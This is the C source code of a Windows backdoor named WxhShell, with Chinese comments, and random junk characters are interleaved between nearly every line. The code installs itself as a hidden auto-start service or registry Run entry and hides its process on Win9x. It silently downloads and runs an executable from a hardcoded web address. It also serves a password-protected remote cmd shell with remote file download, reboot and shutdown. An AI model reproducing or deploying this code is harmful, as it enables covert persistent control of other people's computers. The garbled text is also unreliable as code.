/Ny3>_ |KxFiH HANDLE hProcess; %8lF%uu!x PROCESS_BASIC_INFORMATION pbi; K@zzseQ}= pC'GKk 8 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =D2x@ank[ if(NULL == hInst ) return 0; < l%3P6| x0!5z1KQh g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;Y>cegG\ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RZeU{u<O NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #]!0$z|Z ^N5BJ'[F: if (!NtQueryInformationProcess) return 0; H#B~h4# idr,s\$> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9(( QSX if(!hProcess) return 0; aGY F\7 51k^?5cO if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F!;0eS"xp A+lP]Oy0S CloseHandle(hProcess);
Qpc+1{BQ &S"ojbb hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /U#{6zeM[, if(hProcess==NULL) return 0; JS<4%@ d= -/'_' HMODULE hMod; $6XCHVx char procName[255]; N3Jfp3_b@ unsigned long cbNeeded; zp2IpYQ,3 !`G7X if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (&G4@V d Y(4#b`k3 CloseHandle(hProcess); D{aN_0mT IP` ;hC if(strstr(procName,"services")) return 1; // 以服务启动 N +9`'n^x 1cyX9X return 0; // 注册表启动 /M-%]sayj } Q-!a;/ nKJJ7 RL // 主模块 uYPdmrPB?l int StartWxhshell(LPSTR lpCmdLine) y+XB { Jk)^6 SOCKET wsl; $#dPM*E BOOL val=TRUE; E:N~c'k int port=0; &Oq&ikw struct sockaddr_in door; ~$N%UQn?b# ~5HI9A4^ if(wscfg.ws_autoins) Install(); }7Si2S 1X4v:rI port=atoi(lpCmdLine); #qk A*WP #`C;@#xr if(port<=0) port=wscfg.ws_port; | 1Fy PEPBnBA&1 WSADATA data; mlR*S<Z if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !TRJsL8 a r#p7N if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; eyZ /%4'q setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7mSVL\\^ door.sin_family = AF_INET; Elt=/,v`! door.sin_addr.s_addr = inet_addr("127.0.0.1"); JBCcR,\kM* door.sin_port = htons(port); .VVY]>bJg@ {ZH9W if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &Z_W*D closesocket(wsl); cPxA
R]'U return 1; qJj;3{X2 }
t]Xdzy wwS{V if(listen(wsl,2) == INVALID_SOCKET) { ;/W;M> ^ closesocket(wsl); (63_ return 1; FLO#!G } )k0P' zGb Wxhshell(wsl); ~O~c^fLH(B WSACleanup(); WlF"[mU- M$z.S0" return 0; m9UI3fBX _yyQ^M/ } Gw*n,*pz :0.Z/s - // 以NT服务方式启动 adh=Kp e!w VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /a\6&Eb { yAoJ?<4^W DWORD status = 0; :luVsQ DWORD specificError = 0xfffffff; E8WOXoP( LoLmT7 serviceStatus.dwServiceType = SERVICE_WIN32; 8oG0tX3i serviceStatus.dwCurrentState = SERVICE_START_PENDING; 0l6z!@GhT serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -DrR6kGjR serviceStatus.dwWin32ExitCode = 0; x-k}RI serviceStatus.dwServiceSpecificExitCode = 0; ?5nF` [rx serviceStatus.dwCheckPoint = 0; e%&2tf4 serviceStatus.dwWaitHint = 0; }u&.n
pc ewqfs/ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^0R.U+?+ if (hServiceStatusHandle==0) return; <8[BB7 BhkJ>4# status = GetLastError(); nZa.3/7dJ if (status!=NO_ERROR) TdI5{?sW { mxhO:.l serviceStatus.dwCurrentState = SERVICE_STOPPED; sn&y;Vc[$ serviceStatus.dwCheckPoint = 0; `'[u%U E serviceStatus.dwWaitHint = 0; LQ"56PP< serviceStatus.dwWin32ExitCode = status; *ta
``q serviceStatus.dwServiceSpecificExitCode = specificError; NIeT.! SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5 fjeBfy return; ja}_u}: } 4;_{* U- 7</&=lly serviceStatus.dwCurrentState = SERVICE_RUNNING; Z9s tB>? serviceStatus.dwCheckPoint = 0; ;BqYhi serviceStatus.dwWaitHint = 0; [K;J#0V+&L if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !CROc} } 7=t4;8|j; aEVBU // 处理NT服务事件,比如:启动、停止 |jV> VOID WINAPI NTServiceHandler(DWORD fdwControl) ywpk\ { BEyg63= switch(fdwControl) L5E.`^? { ^SB?NRk case SERVICE_CONTROL_STOP: nnX,_5s serviceStatus.dwWin32ExitCode = 0; Jz
s.) serviceStatus.dwCurrentState = SERVICE_STOPPED; Q0'xn serviceStatus.dwCheckPoint = 0; '<~l%q serviceStatus.dwWaitHint = 0; j^T.7Zv { m
UpLD+-j SetServiceStatus(hServiceStatusHandle, &serviceStatus); W XDl\*n } 9hEIf,\ return; 7jT]J case SERVICE_CONTROL_PAUSE: 1q<BYc+z serviceStatus.dwCurrentState = SERVICE_PAUSED; {wRs V=* break; 2e zQX2q case SERVICE_CONTROL_CONTINUE: CN@bJo2 serviceStatus.dwCurrentState = SERVICE_RUNNING; M ()&GlNs break; cj@Ygc)n case SERVICE_CONTROL_INTERROGATE: n5A0E 2! break; 0'`>20Y }; )f9f_^; SetServiceStatus(hServiceStatusHandle, &serviceStatus); X>j% y7v } O emi } `:!mPNW# // 标准应用程序主函数 t\E#8 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %geiJ z { 9l9nT 5\}A8Ng // 获取操作系统版本 -! Hn,93 OsIsNt=GetOsVer(); L6Ykv/V GetModuleFileName(NULL,ExeFile,MAX_PATH); NS@j`6/U >4`("# // 从命令行安装 XtVx
H4q if(strpbrk(lpCmdLine,"iI")) Install(); l=U@j
T Enn7p9& // 下载执行文件 IlJ6&9 if(wscfg.ws_downexe) { cS/\&%7u if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LO<R<zz WinExec(wscfg.ws_filenam,SW_HIDE); XRCiv } %4Cs
c c1M/:*?% if(!OsIsNt) { L5!aLv# // 如果时win9x,隐藏进程并且设置为注册表启动 R9nW5f
Nf HideProc(); -hw^3Af StartWxhshell(lpCmdLine); ya3A^&: } bmVksi2b else ,\q9>cZ! if(StartFromService()) 7{=/rbZT? // 以服务方式启动 FjqoO. StartServiceCtrlDispatcher(DispatchTable); SYRr|Lg else \\XvVi:B // 普通方式启动 ra=U, StartWxhshell(lpCmdLine); |uId:^{ wUj[c7Y% return 0; M eo(|U } Fg<$;p ;rYL\`6L 1=gE,k5H <7R\# =========================================== A >< u8L%R[#o YKKZRlQo hRTw8-wy: w%R(*,r6 J7q^4M+o: " -/rP0h5# /]m5HW(P7K #include <stdio.h> S0\QZ/je #include <string.h> U8qb2'a8 #include <windows.h> ^.)oQo SE #include <winsock2.h> F8mS5oB|^
#include <winsvc.h> p;cNmMm #include <urlmon.h> :,%~R2 $(B|$e^:( #pragma comment (lib, "Ws2_32.lib") xX$'u"dsA #pragma comment (lib, "urlmon.lib") >Q#h,x~vu Ws ya:9| #define MAX_USER 100 // 最大客户端连接数 {Qbg'|HO=l #define BUF_SOCK 200 // sock buffer 7{>mm$^|V #define KEY_BUFF 255 // 输入 buffer <5(P4cm9 _0dm?= #define REBOOT 0 // 重启 _|reo6 #define SHUTDOWN 1 // 关机 H<41H;m ewHk
(ru #define DEF_PORT 5000 // 监听端口 %^tKt wb~BY #define REG_LEN 16 // 注册表键长度 b>SG5EqU@ #define SVC_LEN 80 // NT服务名长度 TtTp,If 5<ZE.'O // 从dll定义API &{E1w<uv typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y "6;O 0 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z6C!-a typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DCr&%)Ll typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jez=q mh&wvT<:{ // wxhshell配置信息 j=b?WNK struct WSCFG { 8AL`<8$ int ws_port; // 监听端口 /vC|_G|{ char ws_passstr[REG_LEN]; // 口令 =y+gS%o$ int ws_autoins; // 安装标记, 1=yes 0=no sI\v}$(~ char ws_regname[REG_LEN]; // 注册表键名 OZ>w.$ue char ws_svcname[REG_LEN]; // 服务名 _wMx KM char ws_svcdisp[SVC_LEN]; // 服务显示名 hZ@frbuowk char ws_svcdesc[SVC_LEN]; // 服务描述信息 zA/tHlKc char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,9;RP/"7 int ws_downexe; // 下载执行标记, 1=yes 0=no Kv(2x3(" char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FyleK+D? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MiHa'90{K %L(;}sJ. }; SR)jJ=R3 mQ(6ahD U // default Wxhshell configuration S&(MR%". struct WSCFG wscfg={DEF_PORT, $>^DkrOd "xuhuanlingzhe", %S*<2F9
1, #o`y<1rN "Wxhshell", i2.g}pM.A "Wxhshell", u~b;m
"WxhShell Service", oA/[>\y "Wrsky Windows CmdShell Service", LFvO[& "Please Input Your Password: ", v'3.`aZ! 1, EHI%QT "http://www.wrsky.com/wxhshell.exe", ][vm4UY "Wxhshell.exe" 2kukQj(n }; ) 0NKL:u -_@zyF<G // 消息定义模块 iM
\3~3' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Aw?i6d char *msg_ws_prompt="\n\r? for help\n\r#>"; |T`ZK?B+u char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c,@&Z#IZ` char *msg_ws_ext="\n\rExit."; |w; hu] char *msg_ws_end="\n\rQuit."; {"kEu char *msg_ws_boot="\n\rReboot..."; Y=G9|7*lO char *msg_ws_poff="\n\rShutdown..."; .M(')$\U char *msg_ws_down="\n\rSave to "; >-S? rXO H(|n,c char *msg_ws_err="\n\rErr!"; v9*ugu[K9 char *msg_ws_ok="\n\rOK!"; o,qq*}= P}"=67$ char ExeFile[MAX_PATH]; hSAdD! int nUser = 0; oVZI([O HANDLE handles[MAX_USER]; srS2v\1: int OsIsNt; rF@njw@ /;5U-<qf SERVICE_STATUS serviceStatus; y5@#leM SERVICE_STATUS_HANDLE hServiceStatusHandle; @FNaCmBX stxei
6 // 函数声明 6chcpP0 int Install(void); h2S!< int Uninstall(void); TA4>12C6 int DownloadFile(char *sURL, SOCKET wsh); 5:R$xgc int Boot(int flag); %_P[
C}4 void HideProc(void); 8U8%XI EJ int GetOsVer(void); E5;6ks) int Wxhshell(SOCKET wsl); bF2RP8?en void TalkWithClient(void *cs); ?Z^?A^; }$ int CmdShell(SOCKET sock); ~Un+Zs%24 int StartFromService(void); 8Cx6Me>,= int StartWxhshell(LPSTR lpCmdLine);
lL\%eQ >b;o&E`\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4*0C_F@RX VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7Gh+EJJ3I KUD.hK. // 数据结构和表定义 7!qO*r SERVICE_TABLE_ENTRY DispatchTable[] = xdLMy#U2 { ()}(3>O- {wscfg.ws_svcname, NTServiceMain}, '@0Z#A {NULL, NULL} isBtJ7 \Sc }; Bm>>-nG; rtSG-_[i // 自我安装 ]3D>ai? int Install(void) gPE`mE { uqotVil, char svExeFile[MAX_PATH]; ZA1:Y{V HKEY key; ']bw37_U, strcpy(svExeFile,ExeFile); !V^wq]D2 4 EE7gkM5 // 如果是win9x系统,修改注册表设为自启动 :
Iq if(!OsIsNt) { A4~-{.w= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |l-~,eRvi5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8(zE^W,[8" RegCloseKey(key); zi^?9n), if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !-veL1r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @D[tljc^ RegCloseKey(key); v:F_!Q return 0; *SK`&V } $,.XPK5Qu } F G:t2ea } c80Ffq else { mOC<a7# (- D^_*f // 如果是NT以上系统,安装为系统服务 F$sDmk# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +^<s' if (schSCManager!=0) H:#sf][&,L { 5r1u_8)' SC_HANDLE schService = CreateService A.9ZFFz ( c4f3Dr'xw schSCManager, ;x|7"lE wscfg.ws_svcname, h`n)
b wscfg.ws_svcdisp, BHu%x|d SERVICE_ALL_ACCESS, 0f5c#/7C9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %y{'p: SERVICE_AUTO_START, Q 2>o+G SERVICE_ERROR_NORMAL, Nov)'2g7G svExeFile, Cu t7 NULL, \1He9~6 NULL, Y'^+ KU NULL, <dGph NULL, OWys`2W NULL 'NNfzh ); Et! 6i7`] if (schService!=0) OQ&'3hv{ { ge4Qa K CloseServiceHandle(schService); ^~1Z"kAnT CloseServiceHandle(schSCManager); ^)E#
c strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); } *jmW P strcat(svExeFile,wscfg.ws_svcname); I=pFGU if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |s'5~+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i7b^b>B|e RegCloseKey(key); 8|{d1dy return 0; ri/CLq^D } dw>1Ut{"3 } P:>]a$Is CloseServiceHandle(schSCManager); 5S*aZ1t18 } $DlO<
} Q_)$Ha{>H, r>ag(^J\ return 1; =[:pm) } iv
~<me0F 7O-fc1OTv // 自我卸载 P~*'/!@ int Uninstall(void) FL{$9o\@ { ?J@P0(M# HKEY key; 7Ucq(,\./ &Nw[J5-"k if(!OsIsNt) { +O)Y7k{?C5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u[HamGxx$u RegDeleteValue(key,wscfg.ws_regname); 0VZC7@ RegCloseKey(key); 4(dgunP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mpNS}n6 RegDeleteValue(key,wscfg.ws_regname); ? _7iL? RegCloseKey(key); &;naaV_2T return 0; 7Bym? } 1+#E|YWJ } N;v]ypak } 9>@Vk
vpY else { R2A#2{+H X4<Y5?&0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {TZV^gT4 if (schSCManager!=0) DB+oCE<.# { bao"iv~z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FeNNzV= if (schService!=0) qfX26<q { "QvTn= if(DeleteService(schService)!=0) { N F,<^ u CloseServiceHandle(schService); CiV^bYi CloseServiceHandle(schSCManager); ^ib
=fLu return 0; mqtYny' } &3OV|ly] CloseServiceHandle(schService); F1t+D)KA> } )O2IEwPd. CloseServiceHandle(schSCManager); #||D,[ _=+ } Jflm-Hhsf } J|w%n5Y 8O_yZ
~Z4 return 1; Us.k, } Ae%AG@L &`,Y/Cbw // 从指定url下载文件 @*E=O | int DownloadFile(char *sURL, SOCKET wsh) Sf*gAwnW { Q
ZC\%X8j HRESULT hr; (^"2"[?a char seps[]= "/"; (((|vI3 < char *token; =ea.+ char *file; uvAJJIae' char myURL[MAX_PATH]; DkSs^ym char myFILE[MAX_PATH]; uu.}<VM.1 ?r{hrAx strcpy(myURL,sURL); fB 0X9iV6j token=strtok(myURL,seps); 6OB3%R'p while(token!=NULL) [C\B2iU7_M { g;Zy3
file=token; kA> e*6 token=strtok(NULL,seps); lD{*Z spz } f40OVT@g 9o4h~Imu GetCurrentDirectory(MAX_PATH,myFILE); 1xr2x; strcat(myFILE, "\\"); (I#mo2 strcat(myFILE, file); BT`g'#O send(wsh,myFILE,strlen(myFILE),0); os7xwI;T send(wsh,"...",3,0); cTq;<9Iew hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3~{0X- if(hr==S_OK) DJ9x?SL@KD return 0; 1IlOU|4 else PuhvJHT return 1; Z6-ZAS(>m M!D6i5k, } =ym<yI< :G#+5 } // 系统电源模块 5,4m_fBoW int Boot(int flag) {9@u:(<X9 { <xe_t=N HANDLE hToken; Cg|\UKfy$ TOKEN_PRIVILEGES tkp; LIrebz #h P>IU if(OsIsNt) {
2C1NDrS;} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :[CEHRc7x LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3/PvH E{R tkp.PrivilegeCount = 1; ` Z/ MQ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e0#t AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'tDUPm38 if(flag==REBOOT) { _''un3eCY if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /\;m/cwrl" return 0; MMUlA$*t } BOh^oQh else { B[q"oI` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @qYT/V*/ return 0; a6Joa&`dv } )\j
dF-s } !!ma]pB, else { *Hi}FI if(flag==REBOOT) {
Bnk' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >t<\zC|~w return 0; r6R@"1/ } m;A[2 6X else { L^zh|MEyzk if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hsT&c| return 0; }dHdy{$ } ?z <-Ww } JypP[yQ b dLi_k return 1; 6(BgnH8oc } ^}{x).
#@xB ?u-0q // win9x进程隐藏模块 G%,
RD}D void HideProc(void) z[ 'G"yCi { $PI9vyS YRCs&tgs HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mU~&oU if ( hKernel != NULL ) N'-[>w7vK2 { U$<"
.q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (KwC,0p ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aL`wz ! FreeLibrary(hKernel); "<{|ni} } ,p OGT71 TVx
`&C+ return; @K+gh# } ~#jiX6<I h6OQeZ. // 获取操作系统版本 ]@ke_'
" int GetOsVer(void) i;U*Y
*f { "M!m-] OSVERSIONINFO winfo; 6
Bdxdx*zt winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %Zbm%YaW5 GetVersionEx(&winfo); 9cUa@;*1 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $A-X3d;'\/ return 1; ;>f\fhi' else 9Li*L&B) return 0; VgODv
} G_J}^B*?%v F]P sS( // 客户端句柄模块 DU$#tg}{ int Wxhshell(SOCKET wsl) 5h`L W AB { )\ceanS SOCKET wsh; Um6}h@> struct sockaddr_in client; lZ.lf.{F DWORD myID; TH'8^w f [A/2
M s while(nUser<MAX_USER) RJzIzv99m { kHylg{i{" int nSize=sizeof(client); #IZh}*$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r A(A$VR if(wsh==INVALID_SOCKET) return 1; 5cinI^x)f MTZCI} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j&_>_*.y if(handles[nUser]==0) } `Ya; closesocket(wsh); rU&Y/ else =CRptk6tS nUser++; T|wz%P<J } YCh`V[0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5;HGS{` |[Fb&x return 0; SFd_k9 } `dG;SM$T, -5+Yz9pv[ // 关闭 socket 1' U void CloseIt(SOCKET wsh) *2->>"kh { *
7Ov.v% closesocket(wsh); &C+2p nUser--; 2#R$-*;# ExitThread(0); a-Y6ghs } un_NBv} ]!"w?-h Si // 客户端请求句柄 rFpYlMct void TalkWithClient(void *cs) @4T { ?x&}ammid jIT|Kk&] SOCKET wsh=(SOCKET)cs; qe{;EH* char pwd[SVC_LEN]; 8IRKCuV char cmd[KEY_BUFF]; Wn+s:ov char chr[1]; #eOHe4Vt int i,j; ,^8':X"A{! `1(ED= | while (nUser < MAX_USER) { _Ffg"xoC "WQ6[;&V if(wscfg.ws_passstr) { ]zaTX?F: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D^6iQW+.P //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g/!MEOVx //ZeroMemory(pwd,KEY_BUFF); UIyLtoxu i=0; %p )"_q!ge while(i<SVC_LEN) { cMZy~> b)Da6fp // 设置超时 7uL.=th' fd_set FdRead; SA}Dkt&, struct timeval TimeOut; = NZgbl FD_ZERO(&FdRead); f0sLe 3 FD_SET(wsh,&FdRead); 03v+eT TimeOut.tv_sec=8; j;@a~bks6z TimeOut.tv_usec=0; U@y)x+: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z/G#3-5)p if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mz6]=]1w RVttk )Ny if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TG$#aX\' pwd=chr[0]; >"bW' if(chr[0]==0xd || chr[0]==0xa) { iSezrN pwd=0; d;Y Kw1 break; Slg*[r# } \^"Vqx i++; F<g&t|@ } 6c-3+,Y"# ?[zw5fUDS // 如果是非法用户,关闭 socket AF"7 _ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6_KvS } {:!>Y1w> TU^ZvAO& send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l 1k&@1" send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tUxH6IS 9gw;MFP)D while(1) { /Q(boY{ Vs l,u ZeroMemory(cmd,KEY_BUFF); uc@4fn EG t
50 // 自动支持客户端 telnet标准 er7(Wph j=0; sk3 9[9 while(j<KEY_BUFF) { A/2$~4, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -`XS2 cmd[j]=chr[0]; O)vGIp?f't if(chr[0]==0xa || chr[0]==0xd) { L5I!YP#v cmd[j]=0; X;W0r5T break; TS|Bz2( } hxMRmH[f: j++; .cJoNl'q } U~?VN!<x[ LJ~#0Zu? // 下载文件 E7iAN\vo if(strstr(cmd,"http://")) { 3W[?D8yi) send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,Kj>F2{ if(DownloadFile(cmd,wsh)) a)pc+w# send(wsh,msg_ws_err,strlen(msg_ws_err),0); mbkt7. ,P else a($7J6]M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @,.D]43 } e`g+Jf`AT else { u:|^L]{ W.[!Q` switch(cmd[0]) { u*2?Gky R;Dj70g // 帮助 ;LP3 case '?': { C @<T(`o send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g@!U^mr*3 break; v; i4ZSV^A } lM4 Z7mT / // 安装 )1#/@cU case 'i': { Xrb7.Y0d if(Install()) ]?1_.Wjtt send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^PNDxtd|v else k5aB|xo send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @z ",1^I break; #tu>h } d~~, 5E // 卸载 )TiM>{ case 'r': { R`<2DC>h9 if(Uninstall()) aBReIK o send(wsh,msg_ws_err,strlen(msg_ws_err),0); :<zIWje else H5Eso*v@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P#V!hfM break; G1jj:]1 } e&ysj:W5
" // 显示 wxhshell 所在路径 *`"+J_ case 'p': { 2mzn{S)nV char svExeFile[MAX_PATH]; /J-'[Mc'D[ strcpy(svExeFile,"\n\r");
:2nsi4 strcat(svExeFile,ExeFile); 1Mp-)-e send(wsh,svExeFile,strlen(svExeFile),0); qA)YYg/G break; s$pXn&: } 8&8!(\xv // 重启 ow9a^|@a case 'b': { !@Qk=Xkg send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uc+{<E3,% if(Boot(REBOOT)) O>pX(DS
L send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4@fv%LOQo else { .%n_{ab1 closesocket(wsh);
,==_u ExitThread(0); v}u]tl$, } !0?o3,of- break; ^7+;XUyg } fdKE1,; // 关机 +_fFRyu> case 'd': { #d,)Qe[ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ![K\)7 iKo if(Boot(SHUTDOWN)) JS ^Cc send(wsh,msg_ws_err,strlen(msg_ws_err),0); n-8/CBEH( else { %z@ Z^Jv closesocket(wsh); b3-j2`# ExitThread(0); +7w5m } rZdOU?U break; })^eaLBR4 } 5]I)qij
q // 获取shell WeRDaG case 's': { #d$zW4ur2 CmdShell(wsh); W;I{4ed6 closesocket(wsh); gNP1UH4m ExitThread(0); Z(|$[GZP[ break; 1+$F= M~ } WRu(F54Sk // 退出 bgBvzV&'8 case 'x': { QD!NV* send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9dA+#;? CloseIt(wsh); <rgK}&q
break;
p*lP9[7 } d)-ZL*o // 离开 E{ c+`>CY case 'q': { HL"c yxe send(wsh,msg_ws_end,strlen(msg_ws_end),0); t'eu>a1D closesocket(wsh); JR]elRR WSACleanup(); 0=HB!{@ exit(1); %HpPTjAW break; }:faHLYT } N}U+K } 3_
J'+ } 1W>/4l h?dSn:Y\? // 提示信息 ?9{^gW4| if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); el5Pe{j' } ^V; r } 5lHt~hB\ a({Rb?b return; I-!7 EC2{! } s3A(`heoq 9U<WR*H // shell模块句柄 Ag0w8F int CmdShell(SOCKET sock) V z { \m)s"Sh. STARTUPINFO si; %52e^,// ZeroMemory(&si,sizeof(si)); X~VI} dJ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =:g\I6'a si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =t_+ajY% PROCESS_INFORMATION ProcessInfo; `m(ZX\W] char cmdline[]="cmd"; A 94:(z;{ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h*;c"/7 return 0; Y S7lB } c$[2tZ
5:gpynE| // 自身启动模式 2&S^\kf int StartFromService(void) ~`e!$= { ' u<I S/w typedef struct }Jh.+k|_ { 6,LE_ -G5 DWORD ExitStatus; XixjdBFP DWORD PebBaseAddress; am/}V%^ DWORD AffinityMask; .a2R2~35 DWORD BasePriority; .&b^6$dC ULONG UniqueProcessId; prS%lg>
ULONG InheritedFromUniqueProcessId; /Hk})o_ } PROCESS_BASIC_INFORMATION; Y{j~;G@Wl `/m]K~~ PROCNTQSIP NtQueryInformationProcess; >yn?@ve@ D#'CRJh;7 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $9\8?gS static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HHw&BN |